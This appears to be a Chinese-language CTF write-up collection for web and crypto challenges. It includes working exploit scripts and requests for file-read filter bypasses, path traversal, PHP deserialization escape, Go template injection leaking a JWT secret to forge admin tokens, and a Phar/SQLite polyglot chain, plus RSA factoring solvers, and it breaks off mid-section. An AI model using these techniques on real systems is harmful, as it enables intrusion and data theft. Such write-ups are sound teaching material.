Time capsule#

1. 题目分析

打开题目网站，我们看到一个“时间胶囊”应用，主要功能包括：

• 设置解锁时间：用户输入用户名和解锁时间戳。
• 查看状态：检查当前用户的时间胶囊是否已解锁。
• 读取文件：一个 API 接口允许读取文件内容。

通过观察网络请求，发现应用使用了 JWT (JSON Web Token) 进行身份验证，Cookie 中包含 token 字段。

关键接口

• POST /api/set_unlock_time: 设置用户信息，返回 JWT。
• GET /api/read_file?file=<path>: 读取服务器文件。

2. 漏洞探测

2.1 伪造与爆破尝试

• JWT 爆破: 尝试使用常见弱口令（如 secret, 123456）爆破 HS256 密钥，未成功。
• JWT None 算法: 尝试修改算法为 None 进行伪造，服务器返回 invalid token，说明有校验。
• SSTI: 在用户名中输入 {{7*7}}，服务器原样返回，无服务端模板注入漏洞。

2.2 LFI

这是本题的突破口。当我们使用 /api/read_file 读取文件时，发现奇怪的行为：

1. 读取 /etc/passwd 或其他常见文件：

   1
   {"content": "flag{wuhu~}"}
   

   服务器返回了一个假的 flag，说明大多数文件读取请求被 Mock 了。

2. 尝试读取 /flag：

   1
   {"content": "拒绝访问: flag 文件访问被拒绝"}
   

   服务器明确拦截了 flag 关键字。

3. 尝试路径遍历 ../../etc/passwd：

   1
   {"content": "拒绝访问：路径包含禁止的模式"}
   

   服务器拦截了 .. 和 // 等路径遍历符号。

3. 漏洞利用

通过上述分析，我们确认存在一个 LFI 漏洞，但有一个黑名单过滤器在保护真正的 flag 文件。

过滤器逻辑推测：

• 禁止包含 flag (小写) 的字符串。
• 禁止路径遍历符号。

绕过思路： 尝试利用文件名的大小写特性绕过过滤器。既然过滤器拦截 flag，我们尝试请求 FLAG。

攻击 Payload

1
curl -b "token=<你的JWT Token>" "http://150.138.XX.XXX:XXXXX/api/read_file?file=FLAG"

响应结果

1
{
2
  "content": "HSCCTF{05ce8eaf-da01-449d-b199-f04ef341f68e}"
3
}

成功！服务器的过滤器只匹配了小写的 flag，但并未拦截大写的 FLAG，且文件系统允许通过大写文件名访问。

SSRF#

Horse#

访问目标网站，首先发现需要伪造 User-Agent 才能正常访问（如使用 Mozilla/5.0）。

通过目录扫描和文件枚举，发现了以下关键文件：

• /start.sh: 内容显示 echo $FLAG > /flag，这确认了 Flag 的绝对路径为 /flag。
• /password/pass.list: 一个密码字典文件，暗示可能需要爆破。
• /Dockerfile: 确认了运行环境。
• /modes/ 目录: 存放了 1.php, 2.php 等文件，对应网站的“模式”功能。

主要交互逻辑在两个文件：

• change_mode.php: 用于登录并设置用户的“模式” (ctfer_mode)。
• get_mode.php: 用于显示当前设置的模式。

参数 ctfer_mode 看起来非常可疑，正常请求中它的值为 1.php。结合 /modes/ 目录的存在，推测后端代码可能类似于：

1
include "./modes/" . $_POST['ctfer_mode'];

这极有可能存在 本地文件包含 (LFI) 漏洞。

尝试利用漏洞前，发现必须先登录。登录表单字段为 ctfers (用户名) 和 ctfpass (密码)。

• 用户名猜测: 根据字段名 ctfers，猜测用户名可能是 ctfers 或 admin。
• 密码爆破: 结合 pass.list 或常见弱口令进行测试。

使用脚本对 ctfers 用户进行爆破，成功发现密码为 12345678。

登录成功后，我们可以在 change_mode.php 的 POST 请求中通过修改 ctfer_mode 参数来触发 LFI。

由于预期的路径可能是 modes/ 目录下，我们需要使用 ../ 进行路径穿越回到根目录读取 /flag。

Payload:

1
../../flag

攻击请求 (HTTP Request):

1
POST /change_mode.php HTTP/1.1
2
Host: 150.138.81.18:12433
3
User-Agent: Mozilla/5.0
4
Content-Type: application/x-www-form-urlencoded
5
Cookie: PHPSESSID=<your_session_id>
6

7
ctfers=ctfers&ctfpass=12345678&ctfer_mode=../../flag

Baby Cloud#

访问题目提供的链接，直接给出了 PHP 源码：

1
<?php
2
error_reporting(0);
3
include('flag.php');
4
class race
5
{
6
    public $rainbow;
7
    public $pinkie;
8
    public $fail = 1;
9
    public function __construct($rainbow, $pinkie)
10
    {
11
        $this->rainbow = $rainbow;
12
        $this->pinkie = $pinkie;
13
    }
14
}
15
if (isset($_GET['rainbow']) && isset($_GET['pinkie'])) {
16
    $rainbow = $_GET['rainbow'];
17
    $pinkie = $_GET['pinkie'];
18
    $_RACE = new race($rainbow, $pinkie);
19
    if (preg_match('/wonderful/', $rainbow)) {
20
        $twlight_freeze_magic = serialize($_RACE);
21
        $twlight_change_magic = str_replace('awesome', 'awesomer', $twlight_freeze_magic);
22
        $twlight_resume_magic = unserialize($twlight_change_magic);
23
        if ($twlight_resume_magic->fail == 0) {
24
            echo $flag;
25
        } else {
26
            echo "rainbow is not wonderful";
27
            echo "flag{17de01b1-56d5-45d1-8b86-475811b32634}"; // 假的 flag
28
        }
29
    } else {
30
        // ... (省略无关输出)
31
    }
32
} else {
33
    highlight_file(__FILE__);
34
}

关键逻辑：

1. 接收 rainbow 和 pinkie 参数创建 race 对象。
2. 序列化对象：serialize($_RACE)。
3. 字符串替换：将 awesome 替换为 awesomer。注意 awesome 是 7 个字符，awesomer 是 8 个字符。每替换一次，字符串长度增加 1。
4. 反序列化：unserialize。
5. 目标：使反序列化后的对象属性 $fail 为 0（默认为 1）。

漏洞原理：PHP 反序列化字符逃逸（增多）

PHP 在反序列化时，会根据序列化字符串中的长度描述（如 s:7:"..."）来读取数据。 如果我们在序列化后的字符串中进行了替换操作，改变了字符串的实际长度，但没有更新长度描述，就会导致反序列化解析错位。

在本题中，awesome (7 chars) -> awesomer (8 chars)，长度增加。我们可以利用这个特性，将我们构造的恶意属性字符串“挤”出原来的字符串引号包围范围，从而被解析为对象的属性。

我们需要构造一个 rainbow 字符串，使得经过 str_replace 后，一部分内容逃逸出来，覆盖原本的结构，并注入 fail 属性。

1. 确定注入 Payload

我们要注入的属性是 $fail = 0。 正常序列化后的结尾大概是 ...s:6:"pinkie";s:1:"x";s:4:"fail";i:1;}。 我们希望构造的结构能让反序列化提前结束，或者覆盖后面的属性。

我们可以让 rainbow 的值吞掉一部分后续字符，或者把后续字符挤出去。这里是长度增加，所以是将后面的恶意代码挤出 rainbow 的字符串范围。

构造 Payload 目标：让 rainbow 的值在反序列化时闭合，紧接着是我们注入的 fail 属性。

注入部分：

1
";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}

这段字符串长度为 37 字符。

2. 计算逃逸长度

我们需要逃逸 37 个字符。 因为 awesome -> awesomer 每次增加 1 个字符，所以我们需要 37 个 awesome。

3. 构造最终 Payload

rainbow 的组成：

1. wonderful (题目要求必须包含，用于绕过 preg_match)
2. awesome * 37 (用于产生 37 个字节的逃逸空间)
3. 注入的恶意序列化字符串：";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}

pinkie 可以随意设置，比如 x。

原理演示：

假设 rainbow 只有 1 个 awesome 和注入 payload。 序列化后： ...s:46:"wonderfulawesome...";... (长度是按原始字符串算的)

替换后： awesome 变成 awesomer，长度+1。 反序列化读取字符串时，读取原始长度，因此 awesomer 中的 r 以及后面的字符会被“挤”到后面去。

我们需要挤出的正是 ";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}。

exp

1
import requests
2

3
url = "http://150.138.81.18:14935/"
4

5
# 我们要注入的恶意属性，不仅覆盖 fail，还为了闭合前面 rainbow 的引号和分号
6
# 注意：这里不需要闭合大括号，因为我们是在中间注入属性，最后由 PHP 自动处理或忽略多余部分
7
# 但为了稳妥，直接闭合整个对象也是一种方法，或者只是注入属性。
8
# 题目中 rainbow 是第一个属性，pinkie 是第二个，fail 是第三个。
9
# 我们的注入会让解析器以为 rainbow 的值结束了，然后解析 pinkie 和 fail。
10

11
# 注入 Payload:
12
# ";  <- 闭合 rainbow 的字符串
13
# s:6:"pinkie";s:1:"x"; <- 伪造 pinkie
14
# s:4:"fail";i:0; <- 伪造 fail，设为 0
15
# } <- 闭合对象
16
inject_payload = '";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}'
17

18
# 需要逃逸的长度
19
escape_len = len(inject_payload)
20

21
# 每个 awesome 增加 1 字节，所以需要 escape_len 个 awesome
22
# 题目要求 rainbow 包含 wonderful
23
rainbow = "wonderful" + "awesome" * escape_len + inject_payload
24
pinkie = "x"
25

26
params = {
27
    "rainbow": rainbow,
28
    "pinkie": pinkie
29
}
30

31
print(f"Payload length: {len(rainbow)}")
32
res = requests.get(url, params=params)
33
print(res.text)

Purple Moon#

Gogogo#

访问题目提供的链接 http://150.138.81.18:12078 ，发现是一个“ACME 客服工单系统”。

1. 注册与登录 : 系统允许用户注册任意账号。注册并登录后，进入后台仪表板。
2. 功能点 :
   • Dashboard : 查看概览。
   • Tickets : 查看工单列表。可以看到工单 #1001, #1002, #1004，但缺少 #1003。
   • New Ticket : 创建新工单，包含一个“预览”功能。
   • Settings / Profile : 查看个人信息。
3. 发现受限资源 : 尝试直接访问 http://150.138.81.18:12078/ticket/1003 ，系统提示“权限不足：此工单需要管理员权限”。
4. 身份验证机制 : 检查浏览器 Cookies，发现系统使用 JWT ( token ) 进行身份验证。解码 Token 可以看到 role: support 和 userid: 2 。

在“新建工单” ( /new ) 页面，发现有一个“预览”按钮。输入内容并点击预览后，内容会回显在下方。

尝试输入模板注入测试 Payload：

• 输入 {{ 77 }} -> 报错，提示 template: preview_result:1: unexpected "" in operand 。
• 报错信息泄露了后端使用的是 Go 语言的 text/template 或 html/template 引擎 。

步骤一：利用 SSTI 泄露密钥

由于是 Go 模板引擎，我们可以尝试打印当前上下文的所有变量。

Payload :

1
{{ printf "%+v" . }}

结果 : 服务器返回了当前上下文的详细结构体数据：

1
{Config:{Name:ACME 客服工单系统 ... JWT:
2
{Secret:7k5emlQwwUAIIBHJ
3
Issuer:acme-support-prod}} User:
4
{UserID:2 ... Role:support ...} ...}

我们在返回的配置信息中直接找到了 JWT 的签名密钥 (Secret)： Secret : 7k5emlQwwUAIIBHJ

步骤二：伪造管理员 Token

拿到密钥后，我们就可以伪造任意身份的 JWT Token。

1. 获取原 Token : 复制当前用户的 Cookie token 。
2. 解码 : 使用 JWT 工具或脚本解码。
3. 修改 Payload :
   • 将 role 从 support 改为 admin 。
   • (可选) 将 userid 改为 1 (通常管理员 ID 为 1)。
   • (可选) 将 name 改为 admin 。
4. 重新签名 : 使用泄露的密钥 7k5emlQwwUAIIBHJ 和 HS256 算法对 Token 进行重新签名。 伪造脚本 (Python 示例) :

1
import jwt
2

3
SECRET = "7k5emlQwwUAIIBHJ"
4
# 原始 Token 的 payload
5
payload = {
6
    "exp": 1765059187,
7
    "iss": "acme-support-prod",
8
    "name": "admin",
9
    "role": "admin",
10
    "userid": 1
11
}
12
forged_token = jwt.encode(payload,
13
SECRET, algorithm="HS256")
14
print(forged_token)

步骤三：获取 Flag

1. 在浏览器中将 Cookie 中的 token 替换为刚才伪造的 管理员 Token 。
2. 再次访问之前受限的工单页面： http://150.138.81.18:12078/ticket/1003 。
3. 成功进入详情页，在工单描述中找到了 Flag。

Message_Board#

漏洞分析

这道题综合了 Phar 反序列化 、 SQLite Polyglot（多格文件） 以及 PDO Fetch Injection 三个知识点。

1. 入口点：Phar 反序列化

在 index.php 的 delete 逻辑中，存在 file_exists 调用：

1
public function deleteMessage($path) {
2
    $path = $path . ".txt";
3
    if (file_exists($path)) { // 漏洞点
4
        // ...
5
    }
6
}

由于 $path 参数可控，我们可以传入 phar:///var/www/html/upload/ctfer_message ，配合 .txt 后缀，触发 Phar 反序列化漏洞。

2. POP 链构造

反序列化的入口是 User 类：

1. User::__destruct() : 析构函数调用了 $this->log() 。
2. User::log() : 调用 $this->conn->get_connection() 获取数据库连接，并执行 SQL 查询： SELECT * FROM users WHERE username = 。
3. PDO_connect : 我们可以控制 $this->conn 为一个恶意的 PDO_connect 对象。在该对象中，我们可以控制 dsn 和 options 。
4. 核心利用：PDO Fetch Injection

这是本题最精彩的部分。我们需要利用 User::log() 中的 SQL 查询结果来执行任意操作。

1
$stmt->execute();
2
$result = $stmt->fetch(); // 获取查询结果
3
return $result;

如果我们在 PDO_connect 中设置了特殊的 PDO 属性：

1
PDO::ATTR_DEFAULT_FETCH_MODE =>
2
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE

PDO 会根据查询结果的第一列作为 类名 来实例化对象，并将后续列作为属性赋值给该对象。

我们的目标是利用 UserMessage 类读取 Flag：

• UserMessage::__set() : 当给不存在的属性赋值时触发，会读取 $this->filePath 指向的文件并写入 log。 攻击思路 ：

1. 让 SQL 查询返回一个结果集，第一列是 UserMessage 。
2. PDO 自动实例化 UserMessage 。
3. SQL 结果集中包含 filePath 列（设置为 /flag ）。
4. SQL 结果集中包含一个不存在的列（例如 dummy ），触发 UserMessage::__set 。
5. __set 触发文件读取，将 /flag 内容写入 /var/www/html/log/md5(‘/flag’).txt 。

4. 数据源：SQLite Polyglot

因为 User::log() 执行的是 SELECT 查询，我们需要一个受控的数据库。 我们可以将 DSN 指向我们上传的文件： sqlite:/var/www/html/upload/ctfer_message.txt 。 由于我们只能上传一个文件，且该文件必须既是有效的 Phar (用于反序列化) 又是有效的 SQLite 数据库 (用于 PDO 查询)，我们需要构造一个 Polyglot 文件。

• Phar 部分 : 包含恶意的 User 对象。
• SQLite 部分 : 包含一个 users 表，里面有一行恶意数据。
• 结合 : 将 SQLite 数据库文件的内容放在 Phar 的 Stub 中，并以 结尾。

第一步：生成恶意 SQLite 数据库

我们需要创建一个 users 表，列的顺序非常重要，因为我们要利用 FETCH_CLASSTYPE 。

1
import sqlite3
2

3
conn = sqlite3.connect('payload.db')
4
c = conn.cursor()
5

6
# 表结构设计：
7
# col1: 用于指定类名 (UserMessage)
8
# filePath: 设置 UserMessage 的私有属性
9
filePath 为 /flag
10
# dummy: 一个不存在的属性，用于触发 __set 魔术
11
方法
12
# username: 用于匹配查询条件 WHERE username
13
= :username (admin)
14
c.execute('''CREATE TABLE users
15
             (col1 TEXT, filePath TEXT,
16
             dummy TEXT, username TEXT)
17
             ''')
18

19
# 插入恶意数据
20
c.execute("INSERT INTO users VALUES
21
('UserMessage', '/flag', '1', 'admin')")
22

23
conn.commit()
24
conn.close()
25
print("payload.db created")

第二步：生成 Polyglot Phar 文件

使用 PHP 构造 Phar 文件，将 SQLite 数据库嵌入 Stub，并设置 Metadata 触发反序列化。

1
<?php
2
include 'classes.php'; // 需包含题目源码中的
3
类定义
4

5
// 1. 准备恶意 User 对象
6
$user = new User(1, "admin", "123");
7

8
// 2. 准备恶意 PDO 连接配置
9
$pdo_connect = new PDO_connect();
10
$pdo_connect->con_options = array(
11
    // DSN 指向我们上传的文件 (既是 Phar 又是
12
    SQLite DB)
13
    "dsn" => "sqlite:/var/www/html/upload/
14
    ctfer_message.txt",
15
    'user' => '',
16
    'password' => '',
17
    'options' => array(
18
        // 关键：设置默认 Fetch Mode 为
19
        FETCH_CLASS | FETCH_CLASSTYPE
20
        PDO::ATTR_DEFAULT_FETCH_MODE =>
21
        PDO::FETCH_CLASS |
22
        PDO::FETCH_CLASSTYPE,
23
        PDO::ATTR_ERRMODE =>
24
        PDO::ERRMODE_EXCEPTION
25
    )
26
);
27

28
$user->setConn($pdo_connect);
29

30
// 3. 读取 SQLite 数据库内容
31
$db_content = file_get_contents('payload.
32
db');
33

34
// 4. 生成 Phar
35
@unlink('payload.phar');
36
$phar = new Phar('payload.phar');
37
$phar->startBuffering();
38

39
// 将 SQLite 内容作为 Stub 的一部分
40
$stub = $db_content . "<?php
41
__HALT_COMPILER(); ?>";
42
$phar->setStub($stub);
43

44
// 设置 Metadata 序列化数据
45
$phar->setMetadata($user);
46

47
// 添加任意文件保证 Phar 有效性
48
$phar->addFromString('test.txt', 'test');
49

50
$phar->stopBuffering();
51
echo "payload.phar created.\n";
52
?>

第三步：上传并利用

使用 Python 脚本自动化攻击流程。

1
import requests
2
import base64
3
import hashlib
4

5
url = "http://150.138.81.18:11087"
6

7
# 1. 读取生成的 payload.phar
8
with open('payload.phar', 'rb') as f:
9
    payload = f.read()
10

11
# 2. 上传 Payload
12
# 题目会对 message 进行 base64_decode，所以我
13
们需要先 base64 编码
14
payload_b64 = base64.b64encode(payload).
15
decode()
16
print("[*] Uploading payload...")
17
requests.post(f"{url}/index.php?
18
action=write", data={
19
    "message": payload_b64
20
})
21

22
# 3. 触发反序列化
23
# 使用 phar:// 伪协议指向上传的文件
24
# 注意：题目代码中会附加 .txt 后缀，所以这里去
25
掉 .txt
26
path = "phar:///var/www/html/upload/
27
ctfer_message"
28
print("[*] Triggering exploit...")
29
requests.post(f"{url}/index.php?
30
action=delete", data={
31
    "message_path": path
32
})
33

34
# 4. 获取 Flag
35
# 触发成功后，/flag 的内容会被写入到 log 目录下
36
flag_path = "/flag"
37
flag_md5 = hashlib.md5(flag_path.encode
38
()).hexdigest()
39
log_url = f"{url}/log/{flag_md5}.txt"
40

41
print(f"[*] Checking log: {log_url}")
42
r = requests.get(log_url)
43
if r.status_code == 200:
44
    print("\n[+] Flag Found:\n")
45
    print(r.text)
46
else:
47
    print("[-] Exploit failed or log not
48
    found.")

Ancient#

1. Base64 Decode : RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ== ↓
2. Base32 Decode : G5ITYZJFFRMGWWZZGNCDE4JIHNQXGNKNHJSGI3BOGZYUWKZCG43WMTCCHJES4IJBGJRFEPJXF5HVM32ZHAZW642NGZJTA4S3GZJTCO2YHV2VYTLCGZLDCMZXGBTFMS2ZGBTVGLCZGZKVQYJ5GFTEQQJSGBTF4T2MG5ITGQDEHU7DEYJEG5WEKQDPGJPEIKSXG44FCQSIHNCHCSZPGVZW4RRYGZYHGQTPGIUWIS3BG43DG2BHG44GYKSEGBQA==== ↓
3. Ascii85 Decode (注意不是 Git 版 Base85，而是 Adobe Ascii85): `7Q<e%,Xk[93D2q(;as5M.6qK+“77fLB.!!2bR=7/OVoY83osM6S0r[6S1;X=u\Mb6V1370fVKY0gS,Y6UXa=1fHA20f^OL7Q3@d=>2a$7lE@o2^D W78QBH;DqK/5snF86psBo2)dKa763h’78l D0“ ↓
4. Base45 Decode : F8DA$ETZ9KI9SFFLPDI/DI1BEI9YOA967KZ9-DB/HAMUC-/EC-98Z89 CIS618B71AB.CDPD4S8Q19$M8EPDMR6T1ACOCDDC-578FE ↓
5. Base62 Decode (标准字符集 0-9A-Za-z ): hLuIMuJoyfkOnvWBJiSt8vMlYuRBdHvvNrEweI4tXlONfYkGD8Gxyp79GR2P9WCKkH4KOdc0aB8iqiYx4pJ ↓
6. Base58 Decode (标准 Bitcoin 字符集): 3XzE5jomPADm2Q58eE6XgcTZu9CWkr3Q6aZmT2irXqikpp3xA4ucXHCKHQWZmE ↓
7. Result : flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}

EZRSA#

1
def tran(n):
2
  s_bin = bin(n)[2:]
3
  bit_map = {'0': '10', '1': '01'}
4
  p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
5
  return int(p_bin, 2)
6

7
def keygen(nbit):
8
  while True:
9
    s = getPrime(nbit)
10
    p = tran(s)
11
    if not isPrime(p):
12
      continue
13
    s_bin = bin(s)[2:].zfill(nbit)
14
    q_bin = (s_bin[:nbit // 2]
15
         + '1' * (nbit // 2)
16
         + s_bin[nbit // 2:]
17
         + '1' * (nbit // 2))
18
    q = int(q_bin, 2)
19
    if isPrime(q):
20
        return p,q
21

22
flag = "flag{____________________________}"
23
nbit = 256
24
p, q = keygen(nbit)
25
m = bytes_to_long(flag.encode())
26
e= 65537
27
n = p * q
28
c = pow(m, e, n)
29

30
print(f'n = {n}')
31
print(f'c = {c}')
32

33
"""
34
n =
35
c =
36
"""

1. 代码逻辑审计

题目给出了源码 EZRSA.py，我们需要仔细分析 keygen 函数中 $p$ 和 $q$ 的生成逻辑：

• 种子 $s$：生成了一个 256 位的随机素数 s。
• 生成 $p$ (tran 函数)：
  • $p$ 是由 $s$ 的二进制位转换而来的。
  • 转换规则：$s$ 中的每一位（除了最高位）如果为 ‘0’ 则变为 ‘10’，如果为 ‘1’ 则变为 ‘01’。
  • 关键点：这意味着 $p$ 的每一个比特位都严格依赖于 $s$ 的对应比特位。$s$ 的低位决定 $p$ 的低位。
• 生成 $q$：
  • $q$ 是通过拼接 $s$ 的二进制位和固定的 ‘1’ 串生成的。
  • 结构为：s的高128位 + 128个'1' + s的低128位 + 128个'1'。
  • 关键点：$q$ 的最低 128 位全是 1，随后的 128 位完全等于 $s$ 的低 128 位。这也意味着 $q$ 的低位也完全由 $s$ 决定。

2. 漏洞原理

在标准的 RSA 中，$p$ 和 $q$ 应该是两个独立的随机大素数。但在这道题中：

1. $p$ 和 $q$ 均由同一个较小的种子数 $s$（256位）确定性生成。
2. $n = p \times q$。
3. 二进制位的对应关系是从低位到高位一一对应的。

这种结构非常适合使用 爆破比特位（DFS/Branch and Prune） 的方法。我们可以从 $s$ 的最低位（LSB）开始，一位一位地猜测 $s$ 的值，计算出对应的局部 $p$ 和 $q$，然后验证 $p \times q \pmod {2^k}$ 是否等于 $n \pmod {2^k}$。如果相等，则说明猜测正确，继续猜测下一位；如果不相等，则回溯。

解题思路

1. 初始化：创建一个搜索队列，初始状态为 (当前猜测的s值, 当前位数index)，从第 0 位开始。
2. 搜索过程：
   • 对于当前位 index，尝试猜测该位是 0 还是 1。
   • 构造临时的 next_s。
   • 根据 next_s 模拟题目逻辑生成临时的 $p$ 和 $q$。
   • 剪枝条件：计算 temp_n = p * q。检查 temp_n 的低位是否与题目给出的 n 的低位一致。
     • 由于 $p$ 的膨胀率是 2 倍（1位变2位），我们通常检查 2 * (index + 1) 位长度的模数即可过滤错误分支。
3. 结束条件：当猜测完 256 位，且生成的 $p, q$ 满足 $p \times q = n$ 时，即找到了真正的 $s$。
4. 解密：拿到 $s$ 后，生成完整的 $p, q$，计算私钥 $d$，解密 $c$ 得到 Flag。

Exp:

1
from Crypto.Util.number import *
2
from Crypto.Util.number import long_to_bytes
3

4
n =
5
c =
6
e = 65537
7
nbit = 256
8

9
def get_p_q(s_val):
10
    s_bin = bin(s_val)[2:].zfill(nbit)
11
    bit_map = {'0': '10', '1': '01'}
12
    p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
13
    p = int(p_bin, 2)
14
    q_bin = (s_bin[:nbit // 2]
15
             + '1' * (nbit // 2)
16
             + s_bin[nbit // 2:]
17
             + '1' * (nbit // 2))
18
    q = int(q_bin, 2)
19
    return p, q
20
candidates = [(0, 0)]
21
found_s = None
22

23
while candidates:
24
    cur_s, idx = candidates.pop()
25
    if idx == nbit:
26
        p, q = get_p_q(cur_s)
27
        if p * q == n:
28
            found_s = cur_s
29
            break
30
        continue
31

32
    for bit in [0, 1]:
33
        next_s = cur_s | (bit << idx)
34
        p, q = get_p_q(next_s)
35
        check_bits = 2 * (idx + 1)
36
        mask = (1 << check_bits) - 1
37
        if (p * q) & mask == n & mask:
38
            candidates.append((next_s, idx + 1))
39

40
if found_s:
41
    print(f"[+] Found seed s: {found_s}")
42
    p, q = get_p_q(found_s)
43
    phi = (p - 1) * (q - 1)
44
    d = pow(e, -1, phi)
45
    m = pow(c, d, n)
46
    flag = long_to_bytes(m)
47
    print(f"[+] Flag: {flag.decode()}")
48
else:
49
    print("[-] Failed to recover s")

math#

1
from Crypto.Util.number import *
2

3
def gen_rev_sum(m,p):
4
    sum = 0
5
    round = 0
6
    while m > 0:
7
        digit = m % p
8
        if round % 2 == 0:
9
            sum -= digit
10
        else:
11
            sum += digit
12
        m = m // p
13
        round += 1
14
    return sum // 2025
15

16

17
e = 65537
18
p = getPrime(256)
19
q = getPrime(256)
20
n = p*q
21

22
m1 = getRandomNBitInteger(2048)
23
m2 = getRandomNBitInteger(2048)
24
sum1 = gen_rev_sum(m1, p)
25
sum2 = gen_rev_sum(m2, p)
26

27
flag = "flag{--------------------------}"
28
m = bytes_to_long(flag.encode())
29

30
print("m1 =",m1)
31
print("m2 =",m2)
32
print("sum1 =",sum1)
33
print("sum2 =",sum2)
34
print("n =",n)
35
print("c =",pow(m,e,n))
36

37
'''
38
m1 =
39
m2 =
40
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
41
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
42
n =
43
c =
44
e = 65537
45
'''

1. 源码逻辑审计

题目提供了一个函数 gen_rev_sum(m, p)，其逻辑如下：

• 将整数 $m$ 按照 $p$ 进制展开：$m = d_0 + d_1 p + d_2 p^2 + \dots$
• 计算一个累加和 sum：
  • 第 0 轮（偶数轮）：sum -= d0
  • 第 1 轮（奇数轮）：sum += d1
  • 第 2 轮（偶数轮）：sum -= d2
  • …
• 最终返回 sum // 2025。

数学上，这个 sum 可以表示为：$S = -d_0 + d_1 - d_2 + d_3 - \dots = \sum (-1)^{i+1} d_i$

2. 数学推导

我们要利用 $p$ 进制的性质。定义多项式 $M(x) = \sum d_i x^i$，那么 $m = M(p)$。

考虑 $M(-1)$ 的值：$M(-1) = d_0 - d_1 + d_2 - d_3 + \dots = -(-d_0 + d_1 - d_2 + \dots) = -S$

根据同余性质，$a \equiv b \pmod k \implies P(a) \equiv P(b) \pmod k$。

我们取模 $p+1$。因为 $p \equiv -1 \pmod{p+1}$，所以：$M(p) \equiv M(-1) \pmod{p+1}$

代入 $m$ 和 $S$：$m \equiv -S \pmod{p+1}$

移项得：$m + S \equiv 0 \pmod{p+1}$

这意味着 $m + S$ 是 $p+1$ 的倍数。

3. 攻击方案

题目给出了 sum1 和 sum2，它们是原始 $S$ 除以 2025 后的整除结果。

令 $S_1$ 为 $m_1$ 对应的真实和，$S_2$ 为 $m_2$ 对应的真实和。

根据整除的定义：

$S_1 = 2025 \times \text{sum1} + r_1, \quad 0 \le r_1 < 2025$

$S_2 = 2025 \times \text{sum2} + r_2, \quad 0 \le r_2 < 2025$

结合前面的推导，我们有：

1. $m_1 + (2025 \times \text{sum1} + r_1)$ 是 $p+1$ 的倍数。
2. $m_2 + (2025 \times \text{sum2} + r_2)$ 是 $p+1$ 的倍数。

因此，$p+1$ 一定是这两个数的公约数。

我们可以爆破 $r_1$ 和 $r_2$（范围 0 到 2024），计算：

$G = \text{GCD}(m_1 + 2025 \cdot \text{sum1} + r_1, \; m_2 + 2025 \cdot \text{sum2} + r_2)$

由于 $p$ 是 256 位的大素数，$p+1$ 也非常大。如果我们在爆破过程中发现某个 $G$ 的比特数接近或超过 256 位，那么这个 $G$ 很可能就是 $p+1$（或者是 $p+1$ 的倍数）。找到 $p$ 后，即可计算 $q = n // p$，进而解密 RSA。

1
from Crypto.Util.number import *
2
import math
3

4
# 题目数据
5
n =
6
c =
7
e = 65537
8
m1 =
9
m2 =
10
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
11
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
12

13
# 预计算基准值
14
# m + S = k * (p+1)
15
# S = 2025 * sum + r
16
A_base = m1 + 2025 * sum1
17
B_base = m2 + 2025 * sum2
18

19
print("[*] 开始爆破 r1 和 r2 (0-2024)...")
20

21
found_p = None
22

23
for r1 in range(2025):
24
    val1 = A_base + r1
25
    if r1 % 500 == 0:
26
        print(f"[*] 正在检查 r1 = {r1} ...")
27

28
    for r2 in range(2025):
29
        val2 = B_base + r2
30
        g = math.gcd(val1, val2)
31
        if g.bit_length() > 250:
32
            for k in range(1, 101):
33
                if g % k == 0:
34
                    cand_p = (g // k) - 1
35
                    if cand_p > 1 and n % cand_p == 0:
36
                        found_p = cand_p
37
                        print(f"[+] 找到 p!")
38
                        print(f" r1: {r1}")
39
                        print(f" r2: {r2}")
40
                        print(f" k : {k}")
41
                        print(f" p : {found_p}")
42
                        break
43
        if found_p: break
44
    if found_p: break
45

46
if found_p:
47
    p = found_p
48
    q = n // p
49

50
    phi = (p - 1) * (q - 1)
51
    d = pow(e, -1, phi)
52

53
    m_int = pow(c, d, n)
54
    flag = long_to_bytes(m_int)
55
    print(f"\n[+] Flag: {flag.decode()}")
56
else:
57
    print("[-] 未能找到 p，请检查逻辑。")

Where#

1
from Crypto.Util.number import *
2
import random
3

4
flag = "flag{_______________________________}"
5
m = bin(bytes_to_long(flag.encode()))[2:]
6
p = getPrime(300)
7
q = getPrime(300)
8
n = p * q
9

10
R.<x> = PolynomialRing(Zmod(n))
11

12
def gen(m):
13
    C = []
14
    for bit in m:
15
        if bit == '0':
16
            C.append(random.randint(1, n-1))
17
        else:
18
            x = random.randint(1, 2^80)
19
            y = random.randint(1, p-1)
20
            val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
21
            C.append(R(val))
22
    return C
23

24
c = gen(m)
25
print(f"n = {n}")
26
print(f"c = {c}")

1. 加密逻辑：

   • 题目生成了两个 300 位的素数 $p, q$，并计算 $n = p \times q$。

   • 将 Flag 转换为二进制流。

   • 如果是 ‘0’：密文 $c_i$ 是一个模 $n$ 的随机数。

   • 如果是 ‘1’：密文 $c_i$ 通过以下公式计算：

     $c_i \equiv 65537 + x(1-x) + (q-x)y + (y+x)(q+x) \pmod n$

     其中 $x$ 是 80 位的随机数，$y$ 是模 $p$ 的随机数。

2. 公式化简：

   让我们展开比特 ‘1’ 对应的加密公式（在整数域上，或者模 $n$）：

